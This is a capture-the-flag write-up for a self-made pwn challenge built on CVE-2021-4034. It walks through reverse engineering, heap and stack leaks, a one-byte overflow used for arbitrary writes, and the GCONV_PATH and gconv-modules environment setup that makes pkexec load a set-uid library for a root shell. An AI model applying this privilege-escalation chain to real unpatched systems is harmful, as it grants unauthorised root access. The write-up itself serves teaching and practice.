## https://sploitus.com/exploit?id=7398595B-AD42-54E1-AB3C-6873D49BB1EB
# CVE-2021-4034-CTF-writeup
This is a CTF pwn challenge that I wrote in C which requires the user to exploit the CVE-2021-4034 vulnerability. Players are given 2 binaries in the [challenge](challenge) directory in this repo. The `chal` binary implements the CTF challenge and the `shelly.so` is a helper binary.
# How to emulate this challenge
At the time of writing this writeup, the Dockerfile is still not complete. The Dockerfile is required to deploy this challenge during a live CTF, but not locally: You can still emulate this challenge locally by setting up the user permissions and installing the vulnerable packages as follows:
1. In order to successfully exploit this vulnerability, players who are not on a Linux machine should first install a Linux VM. Then, **you will need to install a vulnerable kernel**. Instructions on how to that: [https://askubuntu.com/a/700221]
2. Install the packages `libpolkit-gobject-1-0=0.105-26ubuntu1 libpolkit-agent-1-0=0.105-26ubuntu1 policykit-1=0.105-26ubuntu1`.
3. Create a `flag.txt` file owned by `root:root` in the current directory.
4. Create an unprivileged user. Switch to this user.
5. Download the files in the `challenge` folder to the current directory.
7. Run `chal` as the unprivileged user.
# Blind Analysis
Running the `chal` binary gives us a vague idea of what this binary does:
```
WELCOME TO THE HUB CTRL+ALT+DELICIOUS
We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every byte
1. ENTER THE HUB
2. QUIT
1
Order number: 0x7ffde93681f0
Enter your name: tin
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
1
Pick your bread: aaaa
Select your spread: bbbb
Choose your veg: cccc
Slam your meat & egg: dddc
Any side notes for the cook? 0000
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
1
Pick your bread: AAAA
Select your spread: BBBB
Choose your veg: CCCC
Slam your meat & egg: DDDD
Any side notes for the cook? 1111
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
3
Enter order index: 0
aaaa, bbbb, cccc, dddc, 0000
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
3
Enter order index: 1
AAAA, BBBB, CCCC, DDDD, 1111
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
4
Enter order index: 1
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
3
Enter order index: 1
Invalid index!
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
5
/notes ./tin/notes
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
6
1. ENTER THE HUB
2. QUIT
2
Come again :)
```
Playing around with the input size in the `Add` function and the indices of the `Cancel` functions don't give us anything special (no overflow or segmentation fault). Though, some interseting things:
- It looks like the orders are place in a list (linked list perhaps) and they are 0-indexed?
- There is this `Order number: 0x7ffde93681f0` which seems to print some location on the stack?
- Also, the program creates a directory with our input name along with 3 executables, one of which is the helper binary file we are given:
```sh
peasant@Tin-VM:~/Desktop$ ls
chal chal.c Dockerfile shelly.so solve.py tin
peasant@Tin-VM:~/Desktop$ ls -l tin/
total 28
-rwxrwx--- 1 peasant vboxsf 5 Feb 4 14:33 notes
-rwxrwx--- 1 peasant vboxsf 20 Feb 4 14:33 recipe
-rwxr-x--- 1 peasant vboxsf 16488 Feb 4 14:33 shelly.so
peasant@Tin-VM:~/Desktop$ cat tin/notes
0000
peasant@Tin-VM:~/Desktop$ cat tin/recipe
aaaa
bbbb
cccc
dddc
```
**The executables contain our input.**
---
# Ghidra analysis
You can play around with the other functions and hope that you might run into some bugs (which is probable), but I'm gonna cut to the chase and open the program in Ghidra.
Comparing the strings that appear while running the program and the strings that are present in Ghidra, we can rename some of the `FUN_*` functions into familiar names:
```C
undefined8 main(void)
{
int iVar1;
size_t sVar2;
undefined2 *puVar3;
long in_FS_OFFSET;
int opt;
int local_1c;
char *local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_18 = "/recipe";
print("WELCOME TO THE HUB CTRL+ALT+DELICIOUS\n");
print(
"We\'re not just a sandwich hub. We are the beacon of flavors, serving a symphony in every by te\n\n"
);
while( true ) {
print("1. ENTER THE HUB\n");
print("2. QUIT\n");
__isoc99_scanf(&DAT_001030c5,&opt);
getc(stdin);
if (opt != 1) break;
printf("Order number: %p\n",&local_18);
print("Enter your name: ");
__isoc99_scanf(&DAT_0010334f,&DAT_00105120);
sVar2 = strlen(&DAT_00105120);
puVar3 = (undefined2 *)malloc(sVar2 + 2);
DAT_00105100 = puVar3;
*puVar3 = 0x2f2e;
*(undefined *)(puVar3 + 1) = 0;
strcpy((char *)(DAT_00105100 + 1),&DAT_00105120);
iVar1 = FUN_001022f0(DAT_00105100,&DAT_00105060);
if (iVar1 == -1) {
mkdir((char *)DAT_00105100,0x1c0);
}
DAT_00105140 = 0;
order_cnt = 0;
for (local_1c = 0; local_1c < 10; local_1c = local_1c + 1) {
*(undefined8 *)(&ptr_array + (long)local_1c * 8) = 0;
}
main_menu();
}
print("Come again :)\n");
```
The `printf("Order number: %p\n",&local_18);` **prints out a location of a local variable on the stack.**
A quick check in gdb shows us that the leaked address is the address of the pointer to the constant string `/recipe`:
```gdb
...
Order number: 0x7fffffffdfc0
...
gef➤ x/gx 0x7fffffffdfc0
0x7fffffffdfc0: 0x0000555555559020
gef➤ x/s 0x0000555555559020
0x555555559020: "/recipe"
```
We see a `mkdir` call, which **creates a directory with our input name in the current directory.**
These are consistent with our observation when we ran the program. Then it initializes some variable before calling the `main_menu` function, which looks something like:
```C
while( true ) {
while( true ) {
while( true ) {
while( true ) {
while( true ) {
while( true ) {
print("1. ADD NEW ORDER\n");
print("2. EDIT ORDER\n");
print("3. SHOW ORDER\n");
print("4. CANCEL ORDER\n");
print("5. CHECKOUT\n");
print("6. DONE\n");
__isoc99_scanf(&DAT_001030c5,&local_40);
getc(stdin);
if (local_40 != 1) break;
add_order();
}
if (local_40 != 2) break;
edit_order();
}
if (local_40 != 3) break;
show_order();
}
if (local_40 != 4) break;
cancel_order();
}
if (local_40 != 5) break;
checkout();
}
if (local_40 == 6) break;
if (local_40 == 0x539) {
print(
"\nGORDON RAMSAY: Finally, a worthy opponent, our battle will be legendary! I BET YOU CAN \'T GUESS THE SECRET RECIPE.\n"
);
fgets(inp,0x20,stdin);
getrandom(random-bytes,0x10,0);
for (local_3c = 0; local_3c < 0x10; local_3c = local_3c + 1) {
if (inp[local_3c] != random-bytes[local_3c]) {
print("...*Nuh Uh!*...\n");
/* WARNING: Subroutine does not return */
exit(0);
}
print("...*Ooh Yes.. sCruMpTioUs*...");
}
print("Fine... I\'ll give you a taste.\n");
FUN_00101504();
}
```
If you're not familiar with REV, this is the decompilation for the `switch` statement in C. There's one interesting option a.k.a `0x539`. It allows the players to guess `0x10` random bytes. If all the bytes are equal, then it calls `FUN_00101504();` which calls `system("cat flag.txt");`. Otherwise, the program exits.
However, bruteforcing 16 random bytes is equivalent to trying all 256**16 = 340282366920938463463374607431768211456 possibilities. Good luck with this one lol.
Even if you pass all the possibilities, the program is still unprivileged, so it can't read the flag. This `cat flag.txt` statement is intentional, not only to throw trick unexperienced players into picking this `0x539` menu option, but also to prevent the players to just simply call this function to read the flag, which we will dive into later.
***
## Add
```C
int iVar1;
undefined8 *puVar2;
void *pvVar3;
undefined8 *ptr2;
if (order_cnt < 10) {
puVar2 = (undefined8 *)malloc(0x30);
print("Pick your bread: ");
readline(puVar2 + 1,8);
print("Select your spread: ");
readline(puVar2 + 2,8);
print("Choose your veg: ");
readline(puVar2 + 3,8);
print("Slam your meat & egg: ");
readline(puVar2 + 4,9);
iVar1 = order_cnt;
pvVar3 = malloc(0x30);
*(void **)(&ptr_array + (long)iVar1 * 8) = pvVar3;
*puVar2 = *(undefined8 *)(&ptr_array + (long)order_cnt * 8);
print("Any side notes for the cook? ");
readline(*puVar2,0x30);
puVar2[5] = 0;
if (DAT_00105140 != (undefined8 *)0x0) {
for (ptr2 = DAT_00105140; ptr2[5] != 0; ptr2 = (undefined8 *)ptr2[5]) {
}
ptr2[5] = puVar2;
puVar2 = DAT_00105140;
}
DAT_00105140 = puVar2;
order_cnt = order_cnt + 1;
}
...
```
If some of the variables don't look easily readable like this for you, it's because I took some time to rename them into these, which you should do while reverse engineering to keep track of things. Alright, let's get to the main points:
- `puVar2` is a malloc chunk that is `0x30` large.
- 0-th field is `puVar3` pointer, which is 8-byte long and points to the `notes` of the current chunk.
- The next 4 fields are each 8-byte long, though we can read 9 bytes into the 4-th field, so we can overflow 1 byte into the 5-th field.
- However, the line `puVar2[5] = 0;` overwrites our 1-byte overflow to NULL anyway.
- Then if the global variable `DAT_00105140 == 0`, then we just set it to the new chunk, so this might be a `head` pointer for the list?
- Otherwise, we loop until the last chunk in the current list, and set its 5-th field to the new chunk. => **5-th field is the pointer to the next chunk in the linked list.**
---
## Edit
```C
...
print("Enter order index: ");
__isoc99_scanf(&DAT_001030c5,&local_20);
getc(stdin);
if ((local_20 < 0) || (order_cnt <= local_20)) {
print("Invalid index!\n");
}
else {
local_18 = head;
for (local_1c = 0; local_1c != local_20; local_1c = local_1c + 1) {
local_18 = (undefined8 *)local_18[5];
}
print("Pick your bread: ");
readline(local_18 + 1,8);
print("Select your spread: ");
readline(local_18 + 2,8);
print("Choose your veg: ");
readline(local_18 + 3,8);WE
print("Slam your meat & egg: ");
readline(local_18 + 4,9);
print("Any side notes for the cook? ");
readline(*local_18,0x30);
}
...
```
There's a check for our input index, so we can't edit arbitrary locations.
**However, the 9-byte read in the 4-th field which overflows 1-byte into the 5-th field is still there!!! We can overwrite 1 byte into the `nxt` pointer**
***
## Show
```C
...
if (local_18 != (undefined8 *)0x0) {
printf("%s, %s, %s, %s, %s\n",local_18 + 1,local_18 + 2,local_18 + 3,local_18 + 4,*local_18);
}
...
```
`%s` will print until the NULL character, so if our 4-th field is 8-byte long, then the 4th `%s` will print the 4-th field of our chunk + the `nxt` pointer value in the `5-th` field.
=> **We get a *heap* leak!!!**
***
## Cancel
Nothing interseting here.
***
## Checkout
```C
strcpy(local_d8,dir_name);
sVar2 = strlen(dir_name);
strcpy(local_d8 + sVar2,"/recipe");
creat(local_d8,0x1c0);
iVar1 = open(local_d8,2);
if (iVar1 == -1) {
print("Error opening file f.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
chmod(local_d8,0x1f8);
strcpy(local_98,dir_name);
sVar2 = strlen(dir_name);
strcpy(local_98 + sVar2,"/notes");
printf("%s %s\n","/notes",local_98);
creat(local_98,0x1c0);
__fd = open(local_98,2);
if (__fd == -1) {
print("Error opening file f_notes.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
chmod(local_98,0x1f8);
```
So it creates the files `recipe` and `notes` in the directory with our input name. The `chmod` statements sets these files to executable mode: `0x1f8` and `0x1c0` are `0700` and `0770` in octal base respectively.
```C
...
for (local_ec = 0; (local_e0 != (char **)0x0 && (local_ec < order_cnt)); local_ec = local_ec + 1)
{
sVar2 = strlen((char *)(local_e0 + 1));
write(iVar1,local_e0 + 1,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 2));
write(iVar1,local_e0 + 2,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 3));
write(iVar1,local_e0 + 3,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 1));
write(iVar1,local_e0 + 4,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen(*local_e0);
write(__fd,*local_e0,sVar2);
write(__fd,&DAT_00103127,1);
local_e0 = (char **)local_e0[5];
}
iVar1 = close(iVar1);
if (-1 < iVar1) {
iVar1 = close(__fd);
if (-1 < iVar1) {
local_58 = 0x2f706d742f207063;
local_50 = 0x732e796c6c656873;
local_48 = 0x206f;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
strcpy((char *)((long)&local_48 + 2),dir_name);
system((char *)&local_58);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
}
...
```
This huge messy block of code basically writes the content in our chunks to these files, then executes the commnad `cp /tmp/shelly.so dir_name`, where `dir_name` is the name we give the program at the beginning.
***
## FUN_00101e84
```C
void FUN_00101e84(void)
{
long in_FS_OFFSET;
char *local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("HOLD UP, LET HIM COOK.");
local_18 = (char *)0x0;
execve("/usr/bin/pkexec",&local_18,(char **)&ptr_array);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
```
This is an interesting function. It calls `pkexec` with a `NULL argv` and the `notes` array pointer as the environment variables, which is the vulnerable command in our CVE-2021-4034. Does this suggest that we have to craft our `notes` and redirect execution to this function somehow?
***
## shelly.so
Opening this up in Ghidra will tell us that it's obviously a `set-UID-root` library, which is similar to the ones used in the CVE exploit.
***
# Summary
Some major points:
1. We have a stack leak at the beginning of the program (Order number) which holds the address of the constant string `/recipe` used in creating the file `recipe`.
2. 0th field of a chunk is its `notes` pointer.
3. 5th field of a chunk is the `nxt` pointer to the next chunk in the linked list.
4. `Show` can leak a heap address which is the 5-th field in a chunk.
5. `Edit` can overwrite 1 byte into the 5-th field. **THIS IS THE ONLY ARBITRARY WRITE BUG!!**
6. `FUN_00101e84` calls `pkexec` with NULL argv and the environment variables that we control (`notes` array).
***
# Exploitation
## Heap chunk layout
A quick inspection in gdb can tell us the offset between different chunks in our program:
```gdb
...
Pick your bread: aaaa
Select your spread: a
Choose your veg: a
Slam your meat & egg: a
Any side notes for the cook? 0000
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
1
Pick your bread: bbbb
Select your spread: b
Choose your veg: b
Slam your meat & egg: b
Any side notes for the cook? 1111
...
gef➤ search-pattern aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x55555555a000-0x55555557b000), permission=rw-
0x55555555aae8 - 0x55555555aaec → "aaaa"
gef➤ x/30gx 0x55555555aae8-0x18
0x55555555aad0: 0x0000000000000000 0x0000000000000041
0x55555555aae0: 0x000055555555ab20 0x0000000061616161
0x55555555aaf0: 0x0000000000000061 0x0000000000000061
0x55555555ab00: 0x0000000000000061 0x000055555555ab60
0x55555555ab10: 0x0000000000000000 0x0000000000000041
0x55555555ab20: 0x0000000030303030 0x0000000000000000
0x55555555ab30: 0x0000000000000000 0x0000000000000000
0x55555555ab40: 0x0000000000000000 0x0000000000000000
0x55555555ab50: 0x0000000000000000 0x0000000000000041
0x55555555ab60: 0x000055555555aba0 0x0000000062626262
0x55555555ab70: 0x0000000000000062 0x0000000000000062
0x55555555ab80: 0x0000000000000062 0x0000000000000000
0x55555555ab90: 0x0000000000000000 0x0000000000000041
0x55555555aba0: 0x0000000031313131 0x0000000000000000
0x55555555abb0: 0x0000000000000000 0x0000000000000000
```
So the chunks are of size 0x40 (including 0x10 bytes of metadata), and they are separated (from start of current chunk to start of next chunk) by an offset of 0x40+0x40 = 0x80. This is because the `notes` are allocated whenever we allocate a chunk so they always fall in between consecutive chunks.
## Writing to arbitrary location
Before we jump into the exploit, how do we abuse the 1-byte overflow bugs to write to an arbitrary address? We can use the following strategy:
1. Allocate 3 chunks A , B , C.
2. Leak the `nxt` pointer of the 2nd chunk (2nd point in the **Summary** session).
+ The leaked address (which is the next chunk) is `C`.
+ Then, the current chunk's address will be `B = C-0x80`.
+ Let the LEAST significant byte of `B` be `x`.
3. Overflow the 1 byte `x + 8` into the 5th field of the current chunk. The resulting `nxt` pointer will be `B + 8`.
+ We gotta be careful here: using the snippet of memory above, if we let the current chunk be the first one a.k.a `A = 0x55555555aae0`, then the leakd address would be `B = 0x55555555ab60` and `x = 0xe8`.
+ If we overwrite the last byte into the 5th field of `A` at `0x55555555ab08` with `x`, the resulting `nxt` pointer will be `0x55555555**ab**e8 != 0x55555555**aa**e8`, which is not what we wanted.
+ Therefore, we have to pick a current chunk and the next chunk such that their 2ND LEAST significant byte are the same.
4. So now we have the 3rd chunk is at `B + 8` instead of `C`. Edit chunk B so its 1st (bread) field contains the `target` address we want to write to.
5. Edit the 3rd chunk, which will overwrite the content starting from `B + 8`. The `notes` pointer of this 3rd chunk is the `target`! So whatever we write to `notes` will be written into `target`!
## 1st way - jumping to "cat flag.txt"
There is a way to jump to this function, which I'm not gonna discuss. But before you try this, take a look at the Dockerfile. Notice anything about `flag.txt`?
```
...
chown root:root /home/ctf/flag.txt
...
USER peasant
CMD ["/home/ctf/start.sh"]
```
***IT IS OWNED BY ROOT, WHILE THE PROGRAM IS RAN AND OWNED BY AN UNPRIVILEGED USER***.
So even if you execute "cat flag.txt", it's not gonna print out the flag because the program doesn't have permisison to access the file. This implies that we need to escalate into root in order to read the flag.
## 2nd way - CVE-2021-4034
To exploit CVE-2021-4034, we need the following setup:
1. A directory with the name `GCONV_PATH=.`
2. In this directory, we need an executable file which is the name for the directory where our `gconv-modules` configuration file will be in. Let this be `recipe` in our challenge.
3. In the `recipe` directory, we need a file named `gconv-modules` with the content we control, and a dynamic library which will spawn us a shell (maybe this is the given binary `shelly.so`)?
4. Then, in our `gconv-modules`, we need to have the same CHARSET as step 5 below, and the name of our dynamic library `shelly.so` like this: `module UTF-8// SHELLY// shelly 2`.
5. After all of this, we call `pkexec` with NULL argv and the crafted environment variable array = `{"recipe", "PATH=GCONV_PATH=.", "CHARSET=SHELLY", "SHELL=shelly", NULL}`.
Now, we exploit this challenge to get the above setup.
***
### Goal 1-2
Steps 1-2 are easy: we only have to log in with a username `GCONV_PATH=.` to create this directory. Then we do a `checkout` to create the executable `recipe` in this directory. Then we return to the first menu.
***
### Goal 3-4
We log in with the username `recipe` to create this directroy. Now, we *need* to create a file named `gconv-modules`, but `checkout` only creates the files `recipe` and `notes`.
What if we overwrote the memory location for the string `/notes` to become `/gconv-modules`? This could work, but it requires that memory to be writable. Let's check it out in gdb:
```gdb
gef➤ search-pattern /notes
[+] Searching '/notes' in memory
[+] In '/home/peasant/Desktop/chal'(0x555555559000-0x55555555a000), permission=rw-
0x555555559010 - 0x555555559016 → "/notes"
```
And it is **writable**!
How do we perform the write?
1. We use the arbitrary write strategy described above to arbitrarily **READ** the location of the leaked stack address. This gives us where `/recipe` is.
2. A quick inspection in gdb can tell us the offset from `/recipe` to `/notes` is `0x10`. Subtract this from the `/recipe` address in step 1 to get `/notes` address.
3. Use the arbitrary write strategy above to overwrite `/notes` to `/gconv-modules`.
As to writing the correct content to the `gconv-modules` file, we know that at `checkout`, the `notes` content of the chunks will be written to `/notes`, which is now `/gconv-modules`. To be sure, we can just provide the string `module UTF-8// SHELLY// shelly 2` to every `notes`.
So now, whenever we call `checkout`, it will create 2 files `recipe` and `gconv-modules` and write some `module UTF-8// SHELLY// shelly 2` (we use `shelly` because that's the name of the `.so` set-uid-root library given) lines to the `gconv-modules` file. It will also copy a `shelly.so` into the same directory.
### Goal 5
1. We allocate 4 chunks whose `notes` are the corrsponding environment variables. The `notes` pointer array will have 4 pointers to these 4 notes and an ending NULL pointer, which is exactly what we wanted.
2. Allocate additional chunks and use the same strategy we used for goal 3-4 to overwrite the `RIP` for the `main` function to our secret function `FUN_00101e84`.
+ How do we know where the `RIP` is? Remember our leaked stack address at the beginning of the program? Go into gdb to find out its offset to the `RIP`, then add that offset to the actual leaked address to get the `RIP`.
+ How do we know where `main` is? Remember our leaked address of `/recipe` from step 2 of Goal 3-4? Do the same thing here!
4. Enjoy your shell :)
Solve script with comments is provided on this repo.
Feel free to contact me if you have any questions :)